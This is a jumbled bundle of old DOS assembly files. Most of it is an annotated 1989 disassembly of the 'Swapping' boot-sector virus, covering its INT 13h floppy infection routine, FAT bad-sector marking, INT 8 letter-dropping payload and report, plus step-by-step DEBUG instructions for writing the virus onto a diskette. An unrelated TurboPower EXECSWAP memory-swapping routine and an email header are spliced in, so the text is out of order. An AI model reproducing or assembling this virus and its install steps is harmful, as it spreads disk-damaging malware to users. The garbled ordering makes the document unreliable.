DB 0CDh,013h ;INT 13h
DB 09Ah,00h,00h,00h,020h ;Call 2000h:0000
DB 0E9h ;JMP
FirstJMP DW 0FE89h ; 003EH (Don't worry,
; it's the right addres
;------------------------------------------
; This is the new interrupt $13 routine
;------------------------------------------
NewInt13:
PUSHF ;
CMP DL,1h ;Call for drive A: or B:?
JA L0153 ;If not, don't put virus
CMP AH,2h ;Is it a readblock function
JB L0153 ;(AH=2)? No, AH is smaller so
;don't put virus
CMP AH,3h ;Is it a writeblock function
JA L0153 ;(AH=3)? No, AH is bigger so
;don't put virus
INC DL ;Set disk drive to fit the user
;(Drive A=1 ; Drive B=2)
MOV CS:DiskDriv,DL ;Save the drive number
DEC DL ;Set disk drive to fit the int.
;(Drive A=0 ; Drive B=1)
L0153: CALL DWORD PTR CS:OldInt13 ;Call the original int 13
JNB L0160 ;If no error, goto end of
;routine. (JNB=JNC)
MOV BYTE PTR CS:DiskDriv,0 ;If error, DiskDriv=0
L0160: RETF 2 ;Return from routine
;-----------------------------------------------------
; Infect the diskette
;-----------------------------------------------------
L0163: PUSH ES ;
PUSH BP ;Save registers
MOV BP,SP ;
MOV AX,[BP+10h] ;Let AX=CS from the stack
POP BP ;
CMP AX,0200h ;Are we called from the system?
JBE L01BB ;If so, don't infect
MOV BX,CS ;Get the program segment
CMP AX,BX ;Is it the same as one from
JNB L01BB ;stack? If so, don't infect
MOV AX,CS ;
MOV ES,AX ;ES=CS
MOV AL,CS:DiskDriv ;AL=DiskDriv
DEC AL ;Set AL to fit int
XOR AH,AH ;AH=0
MOV CS:Disk,AX ;Save AX
MOV AX,0201h ;Read one sector
MOV BX,0400h ;to buffer CS:400
MOV CX,0003h ;from sector 3, track 0 (FAT)
MOV DX,CS:Disk ;restore the disk drive
INT 13h ;Read it!!!
JB L01BE ;If error, don't infect
MOV AX,0301h ;Write one sector
MOV BX,0400h ;from CS:400
MOV DX,CS:Disk ;the disk drive number
CMP BYTE PTR CS:[BX+13h],0 ;is there something on it?
JNZ L01BE ;yes, don't infect
MOV BYTE PTR CS:[BX+13h],0F7h ;Mark the sector before the
OR BYTE PTR CS:[BX+14h],0Fh ;last one as bad
INT 13h ;Re-write the FAT!
JB L01BE ;If error, don't infect!
JMP SHORT L01C1 ;Continue...
;Note: I have no idea what is the object of the next NOPs.
NOP ;
L01BB: JMP SHORT L022D ;These JMP are for the don't
NOP ;infect...see above!
L01BE: JMP SHORT L0227 ;
NOP ;
L01C1: MOV AX,0201h ;Read one sector to the
MOV BX,0400h ;buffer at CS:400
MOV CX,0001h ;from sector 1, track 0 (boot
MOV DX,CS:Disk ;sector) from diskette
INT 13h ;Read it!
JB L0227 ;If error, don't infect
;A boot sector always start with a JMP to a certain place. This virus changes
;this JMP to
MOV BX,0400h ;Check where does the first
MOV AL,CS:[BX+1] ;JMP jumps to.
XOR AH,AH ;
SUB AX,1B3h ;Reduce 1B3h to calculate the
;real JMP address and
MOV CS:FirstJMP,AX ;save it.
MOV WORD PTR CS:[BX],93E9h ;Change the JMP in the loaded
MOV BYTE PTR CS:[BX+2],1 ;boot-sector (CS:400). E9=JMP
PUSH SI ;
PUSH DI ;
PUSH DS ;Save registers
MOV AX,CS ;
MOV DS,AX ;DS=CS
;Here, the commands which are added to the boot-sector at the 196th byte are
;copied to the loaded boot-sector at address CS:400.
MOV SI,Offset StartCmds ;SI points to commands to add
;to the boot-sector
MOV DI,0596h ;The 196th byte from CS:400
MOV CX,1Fh ;The commands are 1Fh bytes long
CLD ;
REPZ MOVSB ;Copy it!
L0200: POP DS ;
L0201: POP DI ;
L0202: POP SI ;Restore registers
;The loaded and changed boot-sector is re-written to the diskette.
MOV AX,0301h ;Write one sector from
MOV BX,0400h ;CS:400 to
MOV CX,0001h ;sector 1, track 0
MOV DX,CS:Disk ;disk number..
INT 13h ;Write data!
JB L0227 ;If error, don't infect
;Here, the virus is written to the diskette to the marked bad sectors
MOV AX,0302h ;Write two sectors from
MOV BX,0 ;CS:0 (this code!) to
MOV CX,2706h ;track 27h, sector 6
MOV DX,CS:Disk ;disk number..
MOV DH,1h ;side number 1
INT 13h ;Write it!
L0227: MOV BYTE PTR CS:DiskDriv,0 ;In case of error DiskDriv=0
L022D: POP ES ;Restore register
JMP SHORT L02AF ;finished infecting
NOP ;Again, i don't know what is
;this NOP object
;-------------------------------------------
; The new interrupt 13h is installed here
;-------------------------------------------
L0231: XOR AX,AX ;ES points to lowest segment
MOV ES,AX ;in memory
MOV BX,ES:4Ch ;
MOV CS:OldInt13[0],BX ;Save the int vector (offset)
MOV BX,ES:4Eh ;
MOV CS:OldInt13[2],BX ;Save the int vector (segment)
MOV BX,CS ;BX=CS
MOV ES:4Eh,BX ;Change the int vector (segment)
MOV BX,Offset NewInt13 ;BX=Offset of the new int 13
MOV ES:4Ch,BX ;Change the int vector (offset)
MOV BYTE PTR CS:Got13,1 ;Mark flag that int 13 is instal
MOV BYTE PTR CS:Status,0 ;Status=0
JMP L034D ;Continue....
;-----------------------------------------------------
L0267: JMP L0163 ;Infect disk!
;-----------------------------------------------------
;This is the new interrupt $8
;-----------------------------------------------------
L026A: PUSHF ;
CALL DWORD PTR CS:OldInt8 ;Call orginal interrput
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
PUSH ES ;Save registers
;The virus picks a random number. It does it by adding AX,BX,CX and DX
;to RandomNumber. The values of AX,BX,CX and DX are undefined because an
;hardware interrupt (look6 commands back) was called.
ADD CS:RandomNumber,AX ;\
ADD CS:RandomNumber,BX ; |_ Create random number
ADD CS:RandomNumber,CX ; |
ADD CS:RandomNumber,DX ;/
;I am not sure what the programmer had done next but my guess is that this
;is the time check. The virus starts to work after 10 minuntes or so.
CMP WORD PTR CS:Counter,0443h ;Is my counter>=443h?
JNB L029F ;Yes, it is..
INC WORD PTR CS:Counter ;No, incerase it and also
INC WORD PTR CS:Counter2 ;increase another thing (??)
;and then,
JMP L034D ;goto end of routine
L029F: CMP BYTE PTR CS:Got13,0 ;
JZ L0231
CMP BYTE PTR CS:DiskDriv,0 ;Is diskette infected?
JNZ L0267 ;No, infect it!
L02AF: CMP WORD PTR CS:Counter2,2A9Dh ;??
JNB L02C0 ;??
INC WORD PTR CS:Counter2 ;??
JMP L034D ;Exit routine
;-----------------------------------------------------------------
; This is the main routine which drops the letter from the screen
;-----------------------------------------------------------------
L02C0: MOV BX,0B800h ;Make ES point to the screen
MOV ES,BX ;segment (only cga,ega,mcga)
CMP BYTE PTR CS:Status,0 ;Is status=0?
JNZ L0305 ;No, drop letter
;This is done to make space in the time between the letters fall.
ADD BYTE PTR CS:Flag,4 ;Flag:=Flag+4
CMP BYTE PTR CS:Flag,4 ;Is flag=4?
JNB L034D ;If so, don't drop
MOV BX,CS:RandomNumber ;Set up random number..
MOV CL,5 ;
SHR BX,CL ;first, devide it by 32
SHL BX,1 ;second, multiply it by 2
MOV AL,ES:[BX] ;Save the char we need to drop
CMP AL,20h ;is it a space( )?
JZ L034D ;if so, don't drop
MOV CS:Char,AL ;Save the char
MOV BYTE PTR CS:CharUnder,20h ;The saved char is now ' '
MOV CS:AddrChar,BX ;Svae the address of the char
MOV BYTE PTR CS:Status,1 ;Status=1
L0302: JMP SHORT L034D ;Go to exit
NOP ;
L0305: CMP BYTE PTR CS:Status,2 ;Is Status=2?
JZ L0315 ;If so, continue
INC BYTE PTR CS:Status ;Else, status=status+1
JMP SHORT L034D ;Go to exit
NOP ;
L0315: MOV BYTE PTR CS:Status,1 ;Status:=1
MOV BX,CS:AddrChar ;Put address of character in BX
MOV AL,CS:CharUnder ;and the saved char at AL
MOV ES:[BX],AL ;Erase the letter on the screen
ADD BX,0A0h ;Move pointer to next line
CMP BX,0FA0h ;Did we past end of screen?
JA L0347 ;If so, the dropping has ended
MOV CS:AddrChar,BX ;Save the new address
MOV AL,ES:[BX] ;and the character
MOV CS:CharUnder,AL ;and put the dropping letter
MOV AL,CS:Char ;in the current location
MOV ES:[BX],AL ;
JMP SHORT L034D ;Go to end of routine
NOP ;
L0347: MOV BYTE PTR CS:Status,0 ;Status:=0
;
L034D: POP ES ;Resotre registers
POP DX ;
POP CX ;
POP BX ;
POP AX ;
IRET ;Return from interrupt
;-------------------------------------------------------------------
;This part of the virus initilized the TSR
;-------------------------------------------------------------------
L0353: PUSH DS ;
PUSH ES ;Save registers
MOV AX,CS ;
MOV DS,AX ;Make CS=DS
;First thing, clear all the data area
MOV ES,AX ;ES=DS
MOV DI,OFFSET DATA_BEGIN ;Offset of beginning of data
MOV CX,OFFSET DATA_END-OFFSET DATA_BEGIN ;Length of data
CLD ;Go forward
XOR AL,AL ;Store 0 each time (AL=0)
REPZ STOSB ;Repeat so CX times
;Now, make ES point to the lowest segment in the memory
XOR AX,AX ;
MOV ES,AX ;ES point to lowest segment
;The interrupt vectors are written in the lowest segment so:
;
; 1) Save the interrupt 8 segment and offset for later use
; 2) Read amount of memory (0:413h) and steal 2K (the virus will be put here)
MOV BX,ES:20h ;Get offset of int $8
MOV DS:OldInt8[0],BX ;Save int $8 offset
MOV BX,ES:22h ;Get segment of int $8
MOV DS:OldInt8[2],BX ;Save int $8 segment
MOV AX,ES:413h ;Put amount of mem. in AX,
SUB AX,2 ;steal 2K and
MOV ES:413h,AX ;save the new amount of mem.
;Copy the virus to the highest place in the memory:
MOV CL,6 ;
SHL AX,CL ;Multiply the mem size by 64 and
MOV ES,AX ;make ES point to this segm.
MOV SI,OFFSET START ;SI to begining of this code
MOV DI,SI ;
MOV CX,OFFSET _End-OFFSET Start ;Virus length=_End-Start
CLD ;
REPZ MOVSB ;Copy the virus.
;IMPORTANT: I am not sure that what I am saying in the next paragraph is
; correct. Please let me know if I am wrong
XOR AX,AX ;
MOV DS,AX ;DS point to lowest segment
MOV BX,CS:OldInt8[0] ;Get the offset of int $8 and
MOV BYTE PTR ES:[BX],0CFh ;put 0CFh there (I think it is
;to put IRET).
;OK, now all the virus needs to do is to change the interrupt vector so
;it will point the new $8 interrput.
MOV BX,ES ;
CLI ;
MOV DS:22h,BX ;Change the vector (Segment)
MOV BX,OFFSET L026A ;BX=Offset of new interrupt
MOV DS:20h,BX ;Change the vector (Offset)
STI ;
POP ES ;Restore registers
POP DS ;
RETF ;Return back
;I guess this is the signature of the virus:
DB 'The Swapping-Virus. (C) June, 1989 by the CIA'
_END EQU THIS BYTE
CODE ENDS
;
END START
-------------------------------------------------------------------------------
H O W T O I N S T A L L T H E V I R U S
-------------------------------------------------------------------------------
1) Cut the disassembly from this text.
2) Compile the disassembly. I used Macro Assembler 5.1 in order to compile and
link it but I think that there won't be any trouble using Turbo Assembler.
3) Use EXE2BIN or anything else inorded to make it a .COM file.
4) Format a diskette with the /S option inorder to put the operation system on
it (make sure you format it in 9 sectors per track format).
5) Enter DOS's DEBUG debugger and load the .COM file that you have created.
6) Type: M 100 400 0 this is done inorded to move the virus from CS:100 to
CS:0.
7) Put the diskette you want to infect in drive A.
8) Type: W 0 0 2CC 2 this command will write the virus into sectors 6-7 on
track 39.
9) Type: L 0 0 0 1 this will load the boot sector into the memory.
10) Type: U 0 and remember the number after the JMP in offset 0.
11) Type: A 0
JMP 196 this will execute the virus each time the
diskette is booted.
12) Type: A 196
XOR AX,AX
INT 13
MOV AX,202
MOV CX,2706
MOV DX,100
MOV BX,2000
MOV ES,BX
MOV BX,0
INT 13
CALL 2000:0000
JMP <the number from CS:0>
13) Now, save the boot sector by typing: W 0 0 0 1
That's it! The virus is now installed on your diskette!
+-----------------------------------------------------------------------+
| BitNet: NYYUVL@WEIZMANN CSNet: NYYUVAL@WEIZMANN.BITNET |
| InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU |
| |
| Yuval Tal |
| The Weizmann Institute Of Science "To be of not to be" -- Hamlet |
| Rehovot, Israel "Oo-bee-oo-bee-oo" -- Sinatra |
+-----------------------------------------------------------------------+
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,437 @@
.model large
;EXECSWAP.ASM
; Swap memory and exec another program
; Copyright (c) 1988 TurboPower Software
; May be used freely as long as due credit is given
;-----------------------------------------------------------------------------
;DATA SEGMENT BYTE PUBLIC
.data
EXTRN _BytesSwapped:DWORD ;Bytes to swap to EMS/disk
EXTRN _EmsAllocated:BYTE ;True when EMS allocated for swap
EXTRN _FileAllocated:BYTE ;True when file allocated for swap
EXTRN _EmsHandle:WORD ;Handle of EMS allocation block
EXTRN _FrameSeg:WORD ;Segment of EMS page frame
EXTRN _FileHandle:WORD ;Handle of DOS swap file
EXTRN _SwapName:BYTE ;ASCIIZ name of swap file
EXTRN _PrefixSeg:WORD ;Base segment of program
;DATA ENDS
;-----------------------------------------------------------------------------
;CODE SEGMENT BYTE PUBLIC
.code
; ASSUME CS:CODE,DS:DATA
PUBLIC EXECWITHSWAP, _FIRSTTOSAVE
PUBLIC ALLOCATESWAPFILE, DEALLOCATESWAPFILE
PUBLIC EMSINSTALLED, EMSPAGEFRAME
PUBLIC ALLOCATEEMSPAGES, DEALLOCATEEMSHANDLE
;-----------------------------------------------------------------------------
FileAttr EQU 0 ;Swap file attribute (hidden+system)
EmsPageSize EQU 16384 ;Size of EMS page
FileBlockSize EQU 32768 ;Size of a file block
StkSize EQU 128 ;Bytes in temporary stack
lo EQU (WORD PTR 0) ;Convenient typecasts
hi EQU (WORD PTR 2)
ofst EQU (WORD PTR 0)
segm EQU (WORD PTR 2)
;-----------------------------------------------------------------------------
;Variables in CS
EmsDevice DB 'EMMXXXX0',0 ;Name of EMS device driver
UsedEms DB 0 ;1 if swapping to EMS, 0 if to file
BytesSwappedCS DD 0 ;Bytes to move during a swap
EmsHandleCS DW 0 ;EMS handle
FrameSegCS DW 0 ;Segment of EMS page window
FileHandleCS DW 0 ;DOS file handle
PrefixSegCS DW 0 ;Segment of base of program
Status DW 0 ;ExecSwap status code
LeftToSwap DD 0 ;Bytes left to move
SaveSP DW 0 ;Original stack pointer
SaveSS DW 0 ;Original stack segment
PathPtr DD 0 ;Pointer to program to execute
CmdPtr DD 0 ;Pointer to command line to execute
ParasWeHave DW 0 ;Paragraphs allocated to process
CmdLine DB 128 DUP(0) ;Terminated command line passed to DOS
Path DB 64 DUP(0) ;Terminated path name passed to DOS
FileBlock1 DB 16 DUP(0) ;FCB passed to DOS
FileBlock2 DB 16 DUP(0) ;FCB passed to DOS
BooBoo DB '$'
ComeBack DB '$'
EnvironSeg DW 0 ;Segment of environment for child
CmdLinePtr DD 0 ;Pointer to terminated command line
FilePtr1 DD 0 ;Pointer to FCB file
FilePtr2 DD 0 ;Pointer to FCB file
TempStack DB StkSize DUP(0) ;Temporary stack
StackTop LABEL WORD ;Initial top of stack
;-----------------------------------------------------------------------------
;Macros
MovSeg MACRO Dest,Src ;Set one segment register to another
PUSH Src
POP Dest
ENDM
MovMem MACRO Dest,Src ;Move from memory to memory via AX
MOV AX,Src
MOV Dest,AX
ENDM
InitSwapCount MACRO ;Initialize counter for bytes to swap
MovMem LeftToSwap.lo,BytesSwappedCS.lo
MovMem LeftToSwap.hi,BytesSwappedCS.hi
ENDM
SetSwapCount MACRO BlkSize ;Return CX = bytes to move this block
LOCAL FullBlk ;...and reduce total bytes left to move
MOV CX,BlkSize ;Assume we'll write a full block
CMP LeftToSwap.hi,0 ;Is high word still non-zero?
JNZ FullBlk ;Jump if so
CMP LeftToSwap.lo,BlkSize ;Low word still a block or more?
JAE FullBlk ;Jump if so
MOV CX,LeftToSwap.lo ;Otherwise, move what's left
FullBlk:SUB LeftToSwap.lo,CX ;Reduce number left to move
SBB LeftToSwap.hi,0
ENDM
NextBlock MACRO SegReg, BlkSize ;Point SegReg to next block to move
MOV AX,SegReg
ADD AX,BlkSize/16 ;Add paragraphs to next segment
MOV SegReg,AX ;Next block to move
MOV AX,LeftToSwap.lo
OR AX,LeftToSwap.hi ;Bytes left to move?
ENDM
EmsCall MACRO FuncAH ;Call EMM and prepare to check result
MOV AH,FuncAH ;Set up function
INT 67h
OR AH,AH ;Error code in AH
ENDM
DosCallAH MACRO FuncAH ;Call DOS subfunction AH
MOV AH,FuncAH
INT 21h
ENDM
DosCallAX MACRO FuncAX ;Call DOS subfunction AX
MOV AX,FuncAX
INT 21h
ENDM
InitSwapFile MACRO
MOV BX,FileHandleCS ;BX = handle of swap file
XOR CX,CX
XOR DX,DX ;Start of file
DosCallAX 4200h ;DOS file seek
ENDM
HaltWithError MACRO Level ;Halt if non-recoverable error occurs
PUSH CS
POP DS
MOV DX,OFFSET BooBoo
MOV AH,9
INT 21h
MOV AL,Level ;Set errorlevel
DosCallAH 4Ch
ENDM
MoveFast MACRO ;Move CX bytes from DS:SI to ES:DI
CLD ;Forward
RCR CX,1 ;Convert to words
REP MOVSW ;Move the words
RCL CX,1 ;Get the odd byte, if any
REP MOVSB ;Move it
ENDM
SetTempStack MACRO ;Switch to temporary stack
MOV AX,OFFSET StackTop ;Point to top of stack
MOV BX,CS ;Temporary stack in this code segment
CLI ;Interrupts off
MOV SS,BX ;Change stack
MOV SP,AX
STI ;Interrupts on
ENDM
;-----------------------------------------------------------------------------
;function ExecWithSwap(Path, CmdLine : string) : Word;
EXECWITHSWAP PROC FAR
PUSH BP
MOV BP,SP ;Set up stack frame
;Move variables to CS where we can easily access them later
MOV Status,1 ;Assume failure
LES DI,[BP+6] ;ES:DI -> CmdLine
MOV CmdPtr.ofst,DI
MOV CmdPtr.segm,ES ;CmdPtr -> command line string
LES DI,[BP+10] ;ES:DI -> Path
MOV PathPtr.ofst,DI
MOV PathPtr.segm,ES ;PathPtr -> path to execute
MOV SaveSP,SP ;Save stack position
MOV SaveSS,SS
MovMem BytesSwappedCS.lo,_BytesSwapped.lo
MovMem BytesSwappedCS.hi,_BytesSwapped.hi
MovMem EmsHandleCS,_EmsHandle
MovMem FrameSegCS,_FrameSeg
MovMem FileHandleCS,_FileHandle
MovMem PrefixSegCS,_PrefixSeg
InitSwapCount ;Initialize bytes LeftToSwap
;Check for swapping to EMS or file
CMP _EmsAllocated,0 ;Check flag for EMS method
JZ NotEms ;Jump if EMS not used
JMP WriteE ;Swap to EMS
NotEms: CMP _FileAllocated,0 ;Check flag for swap file method
JNZ WriteF ;Swap to file
JMP ESDone ;Exit if no swapping method set
;Write to swap file
WriteF: MovSeg DS,CS ;DS = CS
InitSwapFile ;Seek to start of swap file
JNC EF0 ;Jump if success
JMP ESDone ;Exit if error
EF0: SetSwapCount FileBlockSize ;CX = bytes to write
MOV DX,OFFSET _FIRSTTOSAVE ;DS:DX -> start of region to save
DosCallAH 40h ;File write
JC EF1 ;Jump if write error
CMP AX,CX ;All bytes written?
JZ EF2 ;Jump if so
EF1: JMP ESDone ;Exit if error
EF2: NextBlock DS,FileBlockSize ;Point DS to next block to write
JNZ EF0 ;Loop if bytes left to write
MOV UsedEms,0 ;Flag we used swap file for swapping
JMP SwapDone ;Done swapping out
;Write to EMS
WriteE: MOV ES,_FrameSeg ;ES -> page window
MOV DX,_EmsHandle ;DX = handle of our EMS block
XOR BX,BX ;BX = initial logical page
MovSeg DS,CS ;DS = CS
EE0: XOR AL,AL ;Physical page 0
EmsCall 44h ;Map physical page
JZ EE1 ;Jump if success
JMP ESDone ;Exit if error
EE1: SetSwapCount EmsPageSize ;CX = Bytes to move
XOR DI,DI ;ES:DI -> base of EMS page
MOV SI,OFFSET _FIRSTTOSAVE ;DS:SI -> region to save
MoveFast ;Move CX bytes from DS:SI to ES:DI
INC BX ;Next logical page
NextBlock DS,EmsPageSize ;Point DS to next page to move
JNZ EE0 ;Loop if bytes left to move
MOV UsedEms,1 ;Flag we used EMS for swapping
;Shrink memory allocated to this process
SwapDone:MOV AX,PrefixSegCS
MOV ES,AX ;ES = segment of our memory block
DEC AX
MOV DS,AX ;DS = segment of memory control block
MOV CX,DS:[0003h] ;CX = current paragraphs owned
MOV ParasWeHave,CX ;Save current paragraphs owned
SetTempStack ;Switch to temporary stack
MOV AX,OFFSET _FIRSTTOSAVE+15
MOV CL,4
SHR AX,CL ;Convert offset to paragraphs
ADD BX,AX
SUB BX,PrefixSegCS ;BX = new paragraphs to keep
DosCallAH 4Ah ;SetBlock
JNC EX0 ;Jump if successful
JMP EX5 ;Swap back and exit
;Set up parameters and call DOS Exec
EX0: MOV AX,ES:[002Ch] ;Get environment segment
MOV EnvironSeg,AX
MovSeg ES,CS ;ES = CS
LDS SI,PathPtr ;DS:SI -> path to execute
MOV DI,OFFSET Path ;ES:DI -> local ASCIIZ copy
CLD
; LODSB ;Read current length
; CMP AL,63 ;Truncate if exceeds space set aside
; JB EX1
; MOV AL,63
;EX1: MOV CL,AL
; XOR CH,CH ;CX = bytes to copy
MOV CX, 63
REP MOVSB
; XOR AL,AL
; STOSB ;ASCIIZ terminate
LDS SI,CmdPtr ;DS:SI -> Command line to pass
MOV DI,OFFSET CmdLine ;ES:DI -> Local terminated copy
; LODSB
; CMP AL,126 ;Truncate command if exceeds space
; JB EX2
; MOV AL,126
;EX2: STOSB
; MOV CL,AL
; XOR CH,CH ;CX = bytes to copy
MOV CX, 127
REP MOVSB
; MOV AL,0DH ;Terminate with ^M
; STOSB
MovSeg DS,CS ;DS = CS
MOV SI,OFFSET CmdLine
MOV CmdLinePtr.ofst,SI
MOV CmdLinePtr.segm,DS ;Store pointer to command line
; INC SI
MOV DI,OFFSET FileBlock1
MOV FilePtr1.ofst,DI
MOV FilePtr1.segm,ES ;Store pointer to filename 1, if any
DosCallAX 2901h ;Parse FCB
MOV DI,OFFSET FileBlock2
MOV FilePtr2.ofst,DI
MOV FilePtr2.segm,ES ;Store pointer to filename 2, if any
DosCallAX 2901h ;Parse FCB
MOV DX,OFFSET Path
MOV BX,OFFSET EnvironSeg
DosCallAX 4B00h ;Exec
JC EX3 ;Jump if error in DOS call
XOR AX,AX ;Return zero for success
EX3: MOV Status,AX ;Save DOS error code
;Set up temporary stack and reallocate original memory block
SetTempStack ;Set up temporary stack
MOV ES,PrefixSegCS
MOV BX,ParasWeHave
DosCallAH 4Ah ;SetBlock
JNC EX4 ;Jump if no error
HaltWithError 0FFh ;Must halt if failure here
EX4: InitSwapCount ;Initialize LeftToSwap
;Check which swap method is in use
EX5: PUSH CS
POP DS
MOV DX,OFFSET ComeBack
MOV AH,9
INT 21h
CMP UsedEms,0
JZ ReadF ;Jump to read back from file
JMP ReadE ;Read back from EMS
;Read back from swap file
ReadF: MovSeg DS,CS ;DS = CS
InitSwapFile ;Seek to start of swap file
JNC EF3 ;Jump if we succeeded
HaltWithError 0FEh ;Must halt if failure here
EF3: SetSwapCount FileBlockSize ;CX = bytes to read
MOV DX,OFFSET _FIRSTTOSAVE ;DS:DX -> start of region to restore
DosCallAH 3Fh ;Read file
JNC EF4 ;Jump if no error
HaltWithError 0FEh ;Must halt if failure here
EF4: CMP AX,CX
JZ EF5 ;Jump if full block read
HaltWithError 0FEh ;Must halt if failure here
EF5: NextBlock DS,FileBlockSize ;Point DS to next page to read
JNZ EF3 ;Jump if bytes left to read
JMP ESDone ;We're done
;Copy back from EMS
ReadE: MOV DS,FrameSegCS ;DS -> page window
MOV DX,EmsHandleCS ;DX = handle of our EMS block
XOR BX,BX ;BX = initial logical page
MovSeg ES,CS ;ES = CS
EE3: XOR AL,AL ;Physical page 0
EmsCall 44h ;Map physical page
JZ EE4 ;Jump if success
HaltWithError 0FDh ;Must halt if failure here
EE4: SetSwapCount EmsPageSize ;CX = Bytes to move
XOR SI,SI ;DS:SI -> base of EMS page
MOV DI,OFFSET _FIRSTTOSAVE ;ES:DI -> region to restore
MoveFast ;Move CX bytes from DS:SI to ES:DI
INC BX ;Next logical page
NextBlock ES,EmsPageSize ;Point ES to next page to move
JNZ EE3 ;Jump if so
ESDone: CLI ;Switch back to original stack
MOV SS,SaveSS
MOV SP,SaveSP
STI
MOV AX,SEG DGROUP
MOV DS,AX ;Restore DS
MOV AX,Status ;Return status
POP BP
RET 8 ;Remove parameters and return
EXECWITHSWAP ENDP
;-----------------------------------------------------------------------------
;Label marks first location to swap
_FIRSTTOSAVE:
;-----------------------------------------------------------------------------
;function AllocateSwapFile : Boolean;
ALLOCATESWAPFILE PROC FAR
MOV CX,FileAttr ;Attribute for swap file
MOV DX,OFFSET _SwapName ;DS:DX -> ASCIIZ swap name
DosCallAH 3Ch ;Create file
MOV _FileHandle,AX ;Save handle assuming success
MOV AL,0 ;Assume failure
JC ASDone ;Failed if carry set
INC AL ;Return true for success
ASDone: RET
ALLOCATESWAPFILE ENDP
;-----------------------------------------------------------------------------
;procedure DeallocateSwapFile;
DEALLOCATESWAPFILE PROC FAR
MOV BX,_FileHandle ;Handle of swap file
DosCallAH 3Eh ;Close file
XOR CX,CX ;Normal attribute
MOV DX,OFFSET _SwapName ;DS:DX -> ASCIIZ swap name
DosCallAX 4301h ;Set file attribute
DosCallAH 41h ;Delete file
RET
DEALLOCATESWAPFILE ENDP
;-----------------------------------------------------------------------------
;function EmsInstalled : Boolean;
EMSINSTALLED PROC FAR
PUSH DS
MovSeg DS,CS ;DS = CS
MOV DX,OFFSET EmsDevice ;DS:DX -> EMS driver name
DosCallAX 3D02h ;Open for read/write
POP DS
MOV BX,AX ;Save handle in case one returned
MOV AL,0 ;Assume FALSE
JC EIDone
DosCallAH 3Eh ;Close file
MOV AL,1 ;Return TRUE
EIDone: RET
EMSINSTALLED ENDP
;-----------------------------------------------------------------------------
;function EmsPageFrame : Word;
EMSPAGEFRAME PROC FAR
EmsCall 41h ;Get page frame
MOV AX,BX ;AX = segment
JZ EPDone ;Done if Error = 0
XOR AX,AX ;Else segment = 0
EPDone: RET
EMSPAGEFRAME ENDP
;-----------------------------------------------------------------------------
;function AllocateEmsPages(NumPages : Word) : Word;
ALLOCATEEMSPAGES PROC FAR
MOV BX,SP ;Set up stack frame
MOV BX,SS:[BX+4] ;BX = NumPages
EmsCall 43h ;Allocate EMS
MOV AX,DX ;Assume success
JZ APDone ;Done if not 0
MOV AX,0FFFFh ;$FFFF for failure
APDone: RET 2 ;Remove parameter and return
ALLOCATEEMSPAGES ENDP
;-----------------------------------------------------------------------------
;procedure DeallocateEmsHandle(Handle : Word);
DEALLOCATEEMSHANDLE PROC FAR
MOV BX,SP ;Set up stack frame
MOV DX,SS:[BX+4] ;DX = Handle
EmsCall 45h ;Deallocate EMS
RET 2 ;Remove parameter and return
DEALLOCATEEMSHANDLE ENDP
;CODE ENDS
END

@@ -0,0 +1,551 @@
From: Jnet%"NYYUVAL@WEIZMANN" "Yuval Tal -8-474592" 15-AUG-1989 19:42:53.22
To: RCSTRN@HEITUE51
CC:
Subj: Swap Virus
Received: From WEIZMANN(VMMAIL) by HEITUE51 with Jnet id 6788
for RCSTRN@HEITUE51; Tue, 15 Aug 89 19:42 N
Received: by WEIZMANN (Mailer R2.03B) id 7639; Tue, 15 Aug 89 20:34:55 +0300
Date: Tue, 15 Aug 89 20:33:34 +0300
From: "Yuval Tal (972)-8-474592" <NYYUVAL@WEIZMANN>
Subject: Swap Virus
To: RCSTRN@HEITUE51
hi....
This is the swap virus that i've told u about..
cheers,
yuval
+------------------------------------------------------+
| The "Swapping" virus |
+------------------------------------------------------+
| |
| Disassembled on: August, 1989 |
| |
| Disassembled by: Yuval Tal |
| |
| Disassembled using: ASMGEN and DEBUG |
| |
+------------------------------------------------------+
Important note: If you find *ANYTHING* that you think I wrote
incorrectly or is-understood something, please let me know ASAP.
You can reach me:
Bitnet: NYYUVAL@WEIZMANN
InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU
This text is divided into theree parts:
1) A report about the Swap Virus.
2) A disassembly of the Swap Virus.
3) How to install this virus?
-------------------------------------------------------------------------------
R E P O R T
-------------------------------------------------------------------------------
Virus Name..............: The Swap Virus
Attacks.................: Floppy-disks only
Virus Detection when....: June, 1989
at......: Israel
Length of virus.........: 1. The virus itself is 740 bytes.
2. 2048 bytes in RAM.
Operating system(s).....: PC/MS DOS version 2.0 or later
Identifications.........: A) Boot-sector:
1) Bytes from $16A in the boot sector are:
31 C0 CD 13 B8 02 02 B9 06 27 BA 00 01 CD 13
9A 00 01 00 20 E9 XX XX
2) The first three bytes in the boot sector are:
JMP 0196 (This is, if the boot sector was
loaded to CS:0).
B) FAT: Track 39 sectors 6-7 are marked as bad.
C) The message:
"The Swapping-Virus. (C) June, by the CIA"
is located in bytes 02B5-02E4 on track 39,
sector 7.
Type of infection.......: Stays in RAM, hooks int $8 and int $13.
A diskette is infected when it is inserted into the
drive and ANY command that reads or writes from/to
the diskette is executed. Hard disks are NOT infected!
Infection trigger.......: The virus starts to work after 10 minutes.
Interrupt hooked........: $8 (Timer-Tick - Responsible for the letter dropping)
$13 (Disk Drive - Infects!)
Damage..................: Track 39 sectors 6-7 will be marked as bad in the
FAT.
Damage trigger..........: The damage is done whenever a diskette is infected.
